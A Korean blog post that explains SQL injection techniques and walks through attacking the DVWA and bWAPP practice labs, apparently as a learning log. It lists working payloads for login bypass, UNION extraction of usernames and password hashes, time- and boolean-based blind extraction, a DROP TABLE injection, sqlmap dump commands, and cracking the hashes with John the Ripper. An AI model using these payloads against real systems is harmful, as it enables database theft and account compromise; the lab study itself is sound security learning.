기준

취약점 설명

SQL 인젝션은 공격자가 코드를 주입하여 Database의 정보를 탈취하는 공격입니다.

관리자의 ID/PW 정보 및 사용자의 개인정보와 중요 정보를 탈취할 수 있는 심각하게 위험한 취약점입니다.

 

물론 공격 방법은 쉬운 편에 속하는데 이와 반대로 탈취되는 정보는 중요 정보가 많아 위험성이 매우 높습니다.

 

공격 방법은 대략 5가지 정도로 분류되며 각 취약점 별로 간략하게 설명드리겠습니다.

(참고 : https://noirstar.tistory.com/264)

 

1. Error Based SQL Injection

SQL 인젝션 중 가장 보편적으로 활용되는 기법입니다.

i) SELECT * FROM Users WHERE id='[입력 1]' AND password='[입력 2]'

위와 같은 쿼리문이 로그인 시 사용된다 가정하면 id값을 확인한 후 password값을 확인하는 것을 알 수 있습니다.

또한 입력값을 검증하지 않는 경우이므로 입력 1의 '를 이용해 간단하게 쿼리문 삽입이 가능합니다.

 

ii) ' or 1=1-- 을 입력 1에 삽입

입력 1의 '를 먼저 끝내주고 or 1=1 통해 쿼리 문의 명제를 참으로 만들어줍니다.

그리고 --로 뒷부분을 모두 주석 처리해주었습니다.

 

SELECT * FROM Users WHERE id=' ' or 1=1 --' AND password='[입력 2]' 

 

위처럼 쿼리문을 주입하게 되면 ID목록을 조회하게 됩니다.

그중 가장 처음 만들어진 ID를 로그인하게 되는 것입니다.

 

2. Union Based SQL Injection

Union은 쿼리문이 삽입될 때 앞과 뒤의 쿼리 문의 결과를 합쳐서 보여주는 명령어입니다.

만약 정상적인 쿼리문 뒤에 삽입이 된다면 원하는 쿼리문을 실행시킬 수 있게 되는 공격입니다.

 

Union Based SQL injection이 성공하기 어려운 이유는 조건이 있기 때문인데 두 개의 쿼리 문의 칼럼 수가 같아야 하며 또한 데이터형(문자형, 숫자형, 날자 형, 이진 데이터)이 같아야 가능합니다.

 

게시글을 조회하는 검색창이 있다고 가정하겠습니다.

i) SELECT * FROM Board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'

Board table

id title contents
1 hi hello
2 bye Bye bye

위와 같은 쿼리 문과 테이블이 있다고 하겠습니다.

여기에서 입력한 것이 위 테이블과 비교하여 게시글을 검색하는 쿼리문입니다.

 

ii) ' UNION SELECT null, id, passwd FROM Users-- 을 INPUT에 삽입

여기에서 첫 부분의 INPUT에 쿼리를 삽입하여 UNION과 함께 Board의 칼럼수를 맞춰서 SELECT를 넣어주면 하나의 테이블로 두 쿼리 문의 결과값이 추출되게 됩니다.

 

퀴리문의 뒷부분에 --를 넣어줌으로써 뒤에 따라오는 쿼리문은 모두 주석 처리해주게 됩니다.

 

SELECT * FROM Board WHERE title LIKE '%' UNION SELECT null,id,passwd FROM Users--%' OR contents '%' UNION SELECT null,id,passwd FROM Users--%'

 

위처럼 삽입된 쿼리문의 뒷부분은 모두 주석 처리되어 SELECT로 선택한 부분의 정보가 보이게 되는 것입니다.

 

3. Blind SQL Injection

Blind는 뚜렷하게 id가 나오는 것이 아니라 참과 거짓을 통해 입력한 값이 맞는지 확인하는 방식입니다.

쿼리문 삽입 시에 삽입한 쿼리문은 통해 확인하고자 하는 데이터가 맞으면 참에 해당하는 동작을 수행하고 거짓이라면 거짓에 해당하는 동작을 수행하게 되는 것입니다.

 

이번에도 예를 들어드릴 건데 여기에서는 MySQL을 기준으로 진행해보겠습니다.

1) Time based

i) SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'

위의 함수처럼 로그인을 하는 쿼리문에 있다고 가정해보도록 하겠습니다.

(위에서 먼저 설명드린 부분은 생략하고 설명드리도록 하겠습니다.)

 

ii) asd123' OR (LENGTH(DATABASE())=1 AND SLEEP(2) --를 INPUT1에 삽입

삽입을 통해 확인하고자 하는 부분은 DATABASE 이름의 길이입니다. 

여기에서 DATABASE 이름의 길이가 1이 맞는다면 SLEEP(2)가 동작할 것이고 아니라면 동작하지 않는 구조입니다.

이렇게 해서 DATABASE 이름의 길이는 확인할 수 있습니다.

 

SELECT * FROM Users WHERE id = 'asd123' OR (LENGTH(DATABASE())=1 AND SLEEP(2) --' AND password = 'INPUT2'

 

위처럼 INPUT1의 뒷부분은 주석 처리되어 동작하게 되는 것입니다.

 

2) Boolean based

i) SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'

위의 함수처럼 로그인을 하는 쿼리문에 있다고 가정해보도록 하겠습니다.

(위에서 먼저 설명드린 부분은 생략하고 설명드리도록 하겠습니다.)

 

ii) abc123’ and ASCII(SUBSTR(SELECT name From information_schema.tables WHERE table_type=’base table’ limit 0,1)1,1)) > 100 -- 

위의 쿼리문은 table 명을 조회하는 쿼리로 limit를 통해 하나의 테이블을 조회하고, SUBSTR로 첫 글자를 확인하여 ASCII로 ascii값으로 변환해줍니다. 

만약 테이블명이 Users라면 U가 조회될 것이고 ascii값으로 변환되어 100과 비교가 될 것입니다.

이게 거짓이라면 로그인이 안되고 참이 될 때까지 100을 변경해가면서 시도해보면 될 것입니다.

 

SELECT * FROM Users WHERE id = 'abc123’ and ASCII(SUBSTR(SELECT name From information_schema.tables WHERE table_type=’base table’ limit 0,1)1,1)) > 100 --' AND password = 'INPUT2'

 

위처럼 INPUT1의 뒷부분은 주석 처리되어 동작하게 되는 것입니다.

 

이처럼 참과 거짓을 활용하여 확인하는 방식을 Blind SQL Injection이라고 하는데 도움이 되면 좋을 것 같아서 cheat sheet의 URL도 함께 첨부해 드립니다.

 

참고 : https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1

 

Blind SQL Injection Detection and Exploitation (Cheatsheet)

Hi everyone,

ansar0047.medium.com

 

4. 기타 Injection

이 외에는 Stored Procedure SQL Injection과 Mass SQL Injection 등등이 있는데 두 가지만 설명드리고자 합니다.

 

Stored Procedure SQL Injection

Stored Procedure은 쿼리를 함수처럼 사용하기 위해 사용하는데 대표적으로는 MS-SQL의 xp_cmdshell로 명령어를 사용하는 것이 이에 해당합니다.

위와 같은 경우는 ';drop table Users; --와 같은 공격을 사용해서 심각한 피해를 주기도 하지만 시스템 권한을 획득해야 하는 경우가 많아 공격 난이도가 높습니다.

 

Mass SQL Injection

한 번의 공격을 통해 대량의 DB 정보가 변경되는 심각하게 위험한 공격 방법입니다.

일부분은 HEX인코딩하거나 전체를 HEX인코딩하는 방식으로 구분됩니다.

DB값을 변조할 경우 악성 스크립트를 함께 주입하여 페이지를 방문하는 사용자에게 악성코드를 감염시키는 방식으로 DDoS 공격에 사용되기도 합니다.

공격 방법

(이번의 공격은 Bee Box와 DVWA를 혼용해서 해보도록 하겠습니다.)

1. Error Based

DVWA의 SQL Injection Low Level을 대상으로 하였습니다.

소스를 확인해보겠습니다.

소스를 확인해보면 쿼리문의 형태를 확인할 수 있다.

동작 방식을 다시 확인해보겠습니다.

번호를 넣어주면 번호에 해당하는 이름을 받아오는 방식입니다.

소스에서 확인한 쿼리문은 아래와 같습니다.

SELECT first_name, last_name FROM users WHERE user_id = '$id';

쿼리문에서 싱글 쿼터(')로 입력 값 앞을 규정하고 있으므로 '로 시작을 하면 될 것 같습니다.

또한 참값으로 Error를 발생시키면 id가 조회될 것으로 생각했습니다.

뒷부분을 주석 처리해서 진행해보았는데 Error가 발생해서 쿼리문 실행이 되지 않았습니다.

php구문의 ;";가 지워지면 Error가 발생하는 것이라고 생각하고 뒤를 연결시켜주기로 했습니다.

그러면 ' or '1'='1로 하면 뒤가 자연스럽게 연결될 것이라 생각하고 삽입해보았습니다.

위처럼 구문이 자연스럽게 연결되며 쿼리문이 실행되었습니다.

 

2. Union Based

위와 같은 문제에 Union based를 시도해보겠습니다.

소스를 확인해보면 print 되는 부분을 확인해보겠습니다.

처음부터 id, first, last순으로 칼럼이 3개인 것을 확인할 수 있습니다.

id값은 입력값이 출력되는 부분으로 필요 부분은 first와 last입니다.

우선 앞서 시도했던 것과 같은 방식으로 싱글 쿼터(')로 앞의 구문을 끝내주고 뒤를 UNION으로 연결해서 시도하도록 하겠습니다.

 

'UNION SELECT 1, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES#

우선 MySQL의 정보 스키마는 INFORMATION_SCHEMA입니다.

이때 TABLES와 CILUMNS를 사용해서 DB 구조를 전반전으로 확인할 수 있습니다.

우선 DB 목록을 확인하기 위해 위와 같이 쿼리문을 작성하였는데 DB명 만을 필요로 하기에 1을 삽입해서 First name 필드를 1로 채워주었으며 DB 명은 Surname필드에 출력되도록 작성하였습니다.

위에서 확인한 결과 DB는 information_schema와 dvwa입니다.

information_schema는 DB의 메타데이터를 담고 있는 파일이므로 우리가 확인해야 할 부분은 dvwa일 것입니다.

' UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='[DB 명]'#

전과 마찬가지로 DB 정보를 확인하기 위해 작성된 쿼리문입니다.

TABLE명을 확인하기 위한 쿼리문인데 DB명을 지정해서 확인할 수 있습니다.

우리가 확인해야 할 DB는 dvwa이므로 쿼리를 삽입하여 확인을 해보도록 하겠습니다.

확인된 TABLE은 guestbook과 users인데 우리가 필요한 부분은 사용자 정보이므로 users를 확인해보겠습니다.

' UNION SELECT COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'#

위에 작성된 쿼리문은 처음 보면 길어서 어려워 보일 수 있는데 구조는 TABLE 명 확인하는 쿼리문과 같습니다.

하지만 WHERE에 TABLE_SCHEMA를 dvwa를 포함하는 것이 좀 더 정확하게 작성하는 것이긴 합니다.

다만 편의를 위해 굳이 필요 없는 부분은 삭제하여 적은 것입니다.

users TABLE에 포함된 COLUMN을 확인하기 위한 쿼리문입니다.

위에서 확인된 값은 users TABLE에 포함된 칼럼명입니다.

여기에서 우리가 탈취해야 하는 정보는 id와 password일 것입니다.

하지만 처음 Error Based에서 확인했던 것과 같이 user_id는 번호로 되어있으므로 user를 검색하는 것이 맞아 보입니다..

' UNION SELECT user, password FROM dvwa.users#

위의 쿼리문을 써서 First name과 Surname에 user값과 password값을 추출해보도록 하겠습니다.

(여기에서 엄청 당황했어요;;;;)

password값으로 Hash값이 추출되는 것을 확인할 수 있었습니다.

하지만 여기에서 어떤 Hash값인지 알 수 없어서 구글에 검색해보는 방법을 선택했습니다. 

이것저것 넣어보다가 검색창에 Hash값을 넣어봤습니다.

위처럼 MD5라는 것을 알 수 있게 되었습니다.

(하지만 hash-identifier라는 툴을 이용해서 확인할 수 있는 방법도 있습니다.(저는 몰랐습니다;;;;))

MD5는 john the ripper로 풀 수 있다는 것을 알게 되었습니다.

우선 id와 password를 위와 같이 정리해주었습니다.

john the ripper로 디코딩해보면 위와 같은 값을 확인할 수 있습니다.

 

3. Blind SQL Injection

Bee Box내에 있는 Blind SQL injection의 Time-Based와 Boolean Based를 사용했습니다.

Time Based

위에서 작성했다시피 Time-Based는 Sleep이 실행되는가에 따라 참과 거짓을 기반으로 판단하는 방식입니다.

위의 검색창을 통해 Database의 정보를 알아보려고 합니다.

 

' OR LENGTH(DATABASE())=1 AND SLEEP(1)#

위에서 썼던 쿼리문을 사용해서 알아보도록 하겠습니다.

위에 페이지 명 탭을 보면 sleep이 걸리는 것을 확인할 수 있습니다.

만약 Database의 길이가 맞지 않는다면 sleep이 걸리지 않을 것입니다.

이렇게 Database의 정보를 하나씩 확인해서 추출해낼 수 있습니다.

명령어를 전부 써보도록 하겠습니다. 

 

Time Based 명령어

Database 명 길이 : ' OR LENGTH(DATABASE())=[확인하고 싶은 숫자] AND SLEEP(1)#

Database 명 확인 : ' OR (SUBSTRING(DATABASE(),1,1))='[확인하고 싶은 문자 혹은 단어]' AND SLEEP(1)#

첫 번째 TABLE 명 길이 : ' OR LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 0,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

첫 번째 TABLE 명 확인 : ' OR ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATIOPN_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

두 번째 TABLE 명 길이 : ' OR LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 1,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

두 번째 TABLE 명 확인 : ' OR ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATIOPN_SCHEMA.TABLES WHERE TABLE_TYPE='base table' AND TABLE_SCHEMA='[확인한 Database 명]' LIMIT 1,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인한 TABLE의 첫 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 0,1))=4 AND SLEEP(1)#

확인한 TABLE의 첫 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인한 TABLE의 두 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 1,1))=4 AND SLEEP(1)#

확인한 TABLE의 두 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[확인한 TABLE 명]' LIMIT 1,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

확인된 TABLE의 확인하려는 COLUMN의 첫 번째 COLUMN 명 길이 : ' OR LENGTH((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] LIMIT 0,1))=[확인하고 싶은 숫자] AND SLEEP(1)#

확인된 TABLE의 확인하려는 COLUMN의 첫 번째 COLUMN 명 확인 : ' OR ASCII(SUBSTRING((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] LIMIT 0,1),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

COLUMN에서 확인된 ID의 PASSWORD 길이 : ' OR LENGTH((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]'))=[확인하고 싶은 숫자] AND SLEEP(1)#

COLUMN에서 확인된 ID의 PASSWORD 확인 : ' OR ASCII(SUBSTRING((SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]'),1,1))=[확인하려는 문자의 ASCII코드 번호] AND SLEEP(1)#

PASSWORD확인 : ' OR [Hash 암호화 방식]("[확인하려는 ID의 비밀번호]") = (SELECT [확인된 COLUMN명] FROM [확인된 TABLE 명] WHERE LOGIN='[확인하려는 ID]') AND SLEEP(1)#

 

위처럼 하나씩 확인해서 진행하는 방법도 있으나 sqlmap이라는 툴을 이용해서 확인하는 방법도 있습니다.

생각보다 오래 걸리지만 직접 입력하는 것보다는 훨씬 빠른 방법입니다.

 

명령어를 간단하게 적어보도록 하겠습니다.

 

sqlmap 명령어

Database 리스트 추출 : sqlmap -u "[확인하려는 URL 주소(GET방식의 검색단어가 들어가는 URL)]" --cookie="[cookie 값]" -p "[URL에 포함된 확인하려는 변수]" --dbs --batch --treads=5 --level=5 --risk=3

Ex) sqlmap -u "http://172.16.10.20/bWAPP/sqli_15.php?title=&action=search"

--cookie="security_level=0; PHPSESSID=c7c7697ec875d78ebddc438f96ffefd8" -p "title" --dbs

--batch --threads=5 --level=5 --risk=3

옵션 종류

--dbs : 데이터베이스 리스트 출력

--batch : 명령어 수행 중 질문에 default 값으로 답함

--threads : 공격 수행하는 thread 개수를 지정

--level=5 --risk=3 : 최고 레벨의 공격까지 수행

 

-D : Database 명 지정

--tables : table 목록을 추출

-T : table 명 지정

--columns : column목록 추출

-C : column 지정

--dump : 덤프

이런 방식으로 DB명, TABLE명, COLUMN명을 알 수 있으며 ID, PW 등을 추출할 수 있습니다.

 

Boolean Based

쿼리문의 결과가 참이냐 거짓이냐에 따라 DB의 정보를 얻는 방식은 Time Based와 같습니다.

하지만 Time Based는 SLEEP이 실행되는가에 따라 찾는 방식이 아닌 문구가 바뀐다거나 정상 출력이 되는 방식으로 찾는 방식을 주로 사용합니다.

쿼리문이 참일 경우 위와 같이 'the movie exists in our database!'라고 뜨는 것을 확인할 수 있습니다.

하지만 쿼리문이 거짓일 경우 'the movie does not exists in our database!'라고 출력되는 것을 확인할 수 있습니다.

이런 방식으로 Time Based의 쿼리문에서 SLEEP을 제거하고 사용할 수 있습니다.

위에 보이는 쿼리문처럼 확인할 수 있으며 Time Based에서 SLEEP을 제거한 형태입니다.

'or sha1("bug") = (select password from users where login='bee')#

말씀드린 것처럼 하나씩 찾아가면 Boolean Based에서 참과 거짓을 이용하여 찾을 수 있습니다.

sqlmap을 이용하더라도 boolean based로 진행되는 것을 확인할 수 있습니다.

+ Recent posts